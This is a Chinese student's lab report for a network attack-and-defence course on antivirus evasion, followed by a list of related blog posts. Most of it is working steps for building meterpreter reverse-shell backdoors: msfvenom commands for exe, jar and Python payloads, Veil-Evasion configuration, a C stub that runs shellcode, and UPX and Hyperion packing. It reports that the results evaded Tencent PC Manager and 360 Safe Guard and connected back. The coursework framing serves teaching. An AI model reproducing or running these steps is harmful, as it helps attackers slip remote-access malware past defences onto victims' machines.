2018-2019-2 20165312《网络攻防技术》Exp3 免杀原理与实践
2018-2019-2 20165312《网络攻防技术》Exp3 免杀原理与实践
课上知识点总结
1.恶意软件检测机制
- 基于特征码的检测(需要定期更新病毒库)
- 启发式恶意软件检测(实时监控,开销较大)
- 基于行为的恶意软件检测(如API监控)
2.免杀技术综述
- 改变特征码
- 加壳(拥有.exe文件)
- 压缩壳
- 加密壳
- shellcode+encoder
- 重写重编译(veil-evasion或者手工)
- 半手工化(主流)
- 加壳(拥有.exe文件)
- 改变行为
- 通讯方式
- 尽量使用反弹式连接
- 使用隧道技术
- 加密通讯数据(如https)
- 操作系统
- 基于内存操作
- 减少对系统的修改
- 加入混淆作用的正常功能代码
- 通讯方式
Exp3.1 能够正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,加壳工具,使用shellcode编程。
3.1.1正确使用msf编码器并使用msfvenom生成文件
实验思路:msf在上次实验生成后门程序中已经使用过,所以在此实验中我进一步了解了msf各个参数的作用,以及加入了使用VirusTotal、Virscan进行检测。
msf中的使用的参数(参考博客)
-p
指定需要使用的payload(攻击载荷)- 查看msf可用的payload列表:
msfvenom -l payload
- msfvenom生成各类Payload命令(详见博客)这个对之后的实验有帮助
- 查看msf可用的payload列表:
-f
指定payload的输出格式- 产看msf支持的输出格式:
msfvenom --list formats
- 产看msf支持的输出格式:
-e
指定需要使用的encoder(编码器)- 查看可用的编码器:
msfvenom -l encoder
- 查看可用的编码器:
-b
生成的文件中不存在-b之后指定的内容-i num
指定编码器迭代的次数
利用msf生成
.exe
文件并进行测试- 生成
.exe
文件
msfvenom -p windows/meterpreter/reverse_tcp HOST = 192.168.43.85 PORT = 5312 -f exe > backdoor.exe
利用VirusTotal进行测试
由图可知,在69个软件中有50个软件报错,比例还是很高的。下面的步骤中加入编译器和迭代的思想。
测试是否可以在windows下实现免杀,显然是不行的
- 生成
利用msf生成
.jar
文件并进行测试- 生成
.jar
文件:
msfvenom -p java/meterpreter/reverse_tcp -e x86/opt_sub -i 4 HOST = 10.1.1.154 PORT = 5312 -f jar > backdoor.jar //使用x86/opt_sub编译器并迭代4次
利用VirusTotal进行测试
使用编译器和迭代的效果不是很大。测试是否可以在windows下实现免杀,竟然可以(震惊.jpg)
- 生成
利用msf生成
.py
文件并进行测试- 生成
.py
文件:
msfvenom -p cmd/unix/reverse_python HOST = 10.1.1.154 PORT = 5312 -f raw > backdoor.py
利用VirusTotal进行测试
测试是否可以在windows下实现免杀,和我预测一样
- 生成
3.1.2使用veil-Evasion生成后门程序及检测
安装Veil-Evasion(参考博客)
- 说来话长,我的kail是2018的镜像,安装过程十分的顺利and超级快,但是它就是不能生成文件
./update
压根没有用,所以我就拷贝了同学的2019镜像(她也是用这种方法安装的,所以这个方法还是有效的,仅供参考) - 安装git:
sudo apt-get -y install git
- 下载Veil-Evasion:
git clone https://github.com/Veil-Framework/Veil-Evasion.git
- 把Veil-Evasion移动到
opt
(随你选择)目录下:mv Veil-Evasion /opt
- 进入Veil-Evasion所在目录:
cd /opt/Veil-Evasion/
- 启动bash脚本进行安装:
bash setup/setup.sh -s
- 启动Veil-Evasion:进入
/opt/Veil-Evasion
运行./Veil-Evasion.py
- 说来话长,我的kail是2018的镜像,安装过程十分的顺利and超级快,但是它就是不能生成文件
用
c
重写meterperter
use
显示所有的Available Payloads
- 选择4:
c/meterpreter/rev_http
进入配置界面 - 设置反弹连接IP:
set LHOST 10.1.1.154
- 设置反弹端口:
set LPORT 5312
- 显示当前信息:
info
- 生成文件
generate
并输入指定的名称
- 利用VirusTotal进行测试
- 测试是否可以在windows下实现免杀
3.1.3利用shellcode编程
- 使用msf生成一段c语言格式的shellcode数组
msfvenom -p windows/meterpreter/reverse_tcp HOST=10.1.1.154 PORT=5312 -f c
- 创建
20165312-Exp3-1-3.c
文件,将shellcode转化为函数进行调用
此处为shellcode
int main()
{
int (*func)() = (int(*)())buf;
func();
}
交叉编译:
i686-w64-mingw32-g++ 20165312-Exp3-1-3.c -o 20165312-Exp3-1-3.exe
利用VirusTotal进行测试
使用ncat将kail下
20165312-Exp3-1-3.exe
文件
传送给windows并尝试回连(开启windows defender开启状态下)- windows:
ncat.exe -l -p 5312 > 20165312-Exp3-1-3.exe
- linux:
nc 10.1.1.151 5312 < 20165312-Exp3-1-3.exe
- 结果smile
- windows:
在刚才生成shellcode的基础上我又加了编译器和迭代进行了又一次的尝试,首先生成新的shellcode:
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -b ‘\x00’ LHOST=10.1.1.154 LPORT=5312 -f c
后面的步骤就是重复了,不啰嗦了。利用VirusTotal进行测试,就比刚才少了一点
再测试下windows下,结果恩。。。
3.1.4加壳工具
压缩壳(以UPX为例)
对已经生成的
20165312-Exp3-1-3.exe
进行压缩:upx 20165312-Exp3-1-3.exe -o 20165312-upxed1.exe
利用VirusTotal进行测试
测试下在windows下,smile again
加密壳(以Hyperion为例)
将已经生成的
20165312-upxed1.exe
复制到/usr/share/windows-binaries/hyperion
进入
/usr/share/windows-binaries/hyperion
进行加壳:
wine hyperion.exe -v 20165312-upxed1.exe 20165312-upxed-Hyperion.exe
利用VirusTotal进行测试
在windows下进行测试(终于不用smile)
Exp3.2通过组合应用各种技术实现恶意代码免杀
实际上在上一步加密壳的操作中已经实现了免杀,即采用
c语言调用shellcode+压缩壳+加密壳
的方式。但是这种方法我没有实现回连,实际上我又试了c语言调用shellcode+加密壳
的方式,也是无法实现回连的。and我发现加壳之后,检测出来有问题的软件个数变多。所以加壳未尝是一个很好的方法。所以我在实验过程中尝试了c调用shellcode
和c调用shellcode+压缩壳
的方式,都可以实现免杀+回连。但是我认为这种免杀只是暂时性的。回连成功
免杀成功
Exp3.3用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本
注:exp3.2与3.3方法相同,只不过换网络了,就使用相同方法生成了。
电脑系统:Windows 7
杀软名称:360安全卫士(11.5.0.2002)
回连成功
实验总结与体会
- 实验感想
在检测恶意代码是否能在windows下实现免杀时,除了检测了电脑管家,我还检测了Windows Defender。不得不说电脑管家很大程度上是不管用的,但是Windows Defender也太强了吧。
backdoor.py
通过VirusTotal检测为只有一个软件可以检测出来,但是Windows Defender也是秒杀。至于实现免杀我目前只能做到电脑管家免杀,但是Windows Defender还不行,如果有哪位dalao会了请教教我!
- 杀软是如何检测出恶意代码的?
- 基于特征码
- 实时监控
- 基于行为的恶意软件检测
- 免杀是做什么?
可以实现杀毒软件不发现、扫描不出病毒代码。
- 免杀的基本方法有哪些
- 改变特征码
- 加壳
- shellcode+encoder
- veil-evasion
- 半手工化
- 改变行为
- 通讯方式
- 尽量使用反弹式连接
- 使用隧道技术
- 加密通讯数据
- 操作系统
- 基于内存操作
- 减少对系统的修改
- 加入混淆作用的正常功能代码
- 开启杀软能绝对防止电脑中恶意代码吗
通过做实验实现了免杀,显然杀软不能绝对防止恶意代码
实验中遇到的问题及解决方案
- 经常出现回连不成功的现象,特别是加密壳,我觉得大概是个玄学。(没错我还没有解决这个问题)
- emmm诚实的说,我做实验的时候成功的案例,过了几个小时之后,就不能免杀了。。然后的话我就换了shellcode,又重新做了一遍,可以实现免杀,电脑管家更新病毒库还是可以的吧?
- 至今不知道在无360、电脑管家巴拉巴拉一堆杀软的情况下,如何在windows defender下实现杀软(毕竟我试了,这一切实验对于windows defender都是渣渣。。)
2018-2019-2 20165312《网络攻防技术》Exp3 免杀原理与实践的更多相关文章
- 20145236《网络攻防》 Exp3 免杀原理与实践
20145236<网络攻防> Exp3 免杀原理与实践 一.基础问题回答 1.杀软是如何检测出恶意代码的? 恶意代码有其特有的特征码,杀软将特征码加入检测库中,当检测到一段代码中具有这样的 ...
- 20155226《网络攻防》 Exp3 免杀原理与实践
20155226<网络攻防> Exp3 免杀原理与实践 实验过程 1. msfvenom直接生成meterpreter可执行文件 直接将上周做实验时用msf生成的后门文件放在virscan ...
- 20155308 《网络攻防》 Exp3 免杀原理与实践
20155308 <网络攻防> Exp3 免杀原理与实践 基础问题回答 杀软是如何检测出恶意代码的? 基于特征来检测:恶意代码中一般会有一段有较明显特征的代码也就是特征码,如果杀毒软件检测 ...
- 20155318 《网络攻防》Exp3 免杀原理与实践
20155318 <网络攻防>Exp3 免杀原理与实践 基础问题 杀软是如何检测出恶意代码的? 基于特征来检测:恶意代码中一般会有一段有较明显特征的代码也就是特征码,如果杀毒软件检测到有程 ...
- 20155321 《网络攻防》 Exp3 免杀原理与实践
20155321 <网络攻防> Exp3 免杀原理与实践 基础问题回答 杀软是如何检测出恶意代码的? 根据实验指导书,杀软有两个方法可以检测出恶意代码.第一种是基于特征码,即先对流行代码特 ...
- 20155330 《网络攻防》 Exp3 免杀原理与实践
20155330 <网络攻防> Exp3 免杀原理与实践 基础问题回答 杀软是如何检测出恶意代码的? 基于特征码.先对流行代码特征的提取,然后进行程序的比对,如果也检测到相应的特征码的程序 ...
- 2015306 白皎 《网络攻防》Exp3 免杀原理与实践
2015306 白皎 <网络攻防>Exp3 免杀原理与实践 一.实践基础 免杀,故名思义,指的是一种能使病毒木马免于被杀毒软件查杀的技术. 免杀的方法有很多,比如加壳改壳.加垃圾指令.以及 ...
- 20145215《网络对抗》Exp3 免杀原理与实践
20145215<网络对抗>Exp3 免杀原理与实践 基础问题回答 杀软是如何检测出恶意代码的? 基于特征来检测:恶意代码中一般会有一段有较明显特征的代码也就是特征码,如果杀毒软件检测到有 ...
- 20155227《网络对抗》Exp3 免杀原理与实践
20155227<网络对抗>Exp3 免杀原理与实践 实践内容 正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己利用shellcode编程等 ...
- 20155232《网络对抗》Exp3 免杀原理与实践
20155232<网络对抗>Exp3 免杀原理与实践 问题回答 1.基础问题回答 (1)杀软是如何检测出恶意代码的? 基于特征码的检测 特征码:一段特征码就是一段或多段数据. 如果一个可执 ...
随机推荐
- vue-resource+element upload上传(遇到formData总是变为object格式)
文件上传这种业务需求很常见,但是最近用了element,仔细看了文档,按照demo写了上传,与后台传参调取接口时,控制台总是显示未获取到文件,想了又想,发现一开始思路就跑遍了... 写此博记录下遇到的 ...
- Day02_Python基础学习今日总结
1.模块(库):是别人写好的函数封装成一个名字,内部有丰富的功能可以直接调用.分为标准库和第三方库.标准库直接导入即可使用,而第三方库需要下载安装才能用. 2.在项目中导入库时,自建的文件名不能喝库名 ...
- Vue.js devtool插件安装后无法使用的解决办法【最简单有效的解决方法】
在开发vue相关的项目时,使用vue devtools工具是一件极其有趣的事,你所有的操作都马上给你实时反馈. 然而有时候安装好的工具,在chrome中不显示. 在网上找过多次,一直没有找到有效解决方 ...
- 重写外部图片URL,变成自己的URL
1.获取原图链接 上传一张图片文件到淘图,得到以下链接: https://img.alicdn.com/imgextra/i4/358272220/TB2hCqxmB8lpuFjSspaXXXJKp ...
- 学习flask需要用到的包
Flask 需要下载的包 1.pip install flask 2.pip install flask-script 3.pip install flask-sqlalchemy 4.pip ins ...
- Go语言切片
切片 Go 语言切片相当于是对数组的抽象. 由于Go 数组的长度不可改变,在特定场景中这样的集合就不太适用,Go中提供了一种灵活,功能强悍的内置类型切片("动态数组"),与数组相比 ...
- Java并发编程75道面试题及答案
1.在java中守护线程和本地线程区别? java中的线程分为两种:守护线程(Daemon)和用户线程(User). 任何线程都可以设置为守护线程和用户线程,通过方法Thread.setDaemon( ...
- css的各种动画
/*淡入*/@keyframes fade-in { 0% { opacity: 0; } /*初始状态 透明度为0*/ 40% { opacity: 0; } /*过渡状态 透明度为0*/ 100% ...
- Oracle SQL Developer 连接数据库问题总结
一.使用scott用户登录的问题 说明:Oracle如果是初次使用用户,scott用户是没有解锁的.所以要先解锁.注:scott是个测试用户. 具体步骤: 1.在Dos命令下输入 sqlplus 可以 ...
- for循环、while循环、break、continue、exit
1. for循环 语法:for 变量名 in 条件; do …; done案例1 #!/bin/bashsum=0for i in `seq 1 100`do# echo "$sum + $ ...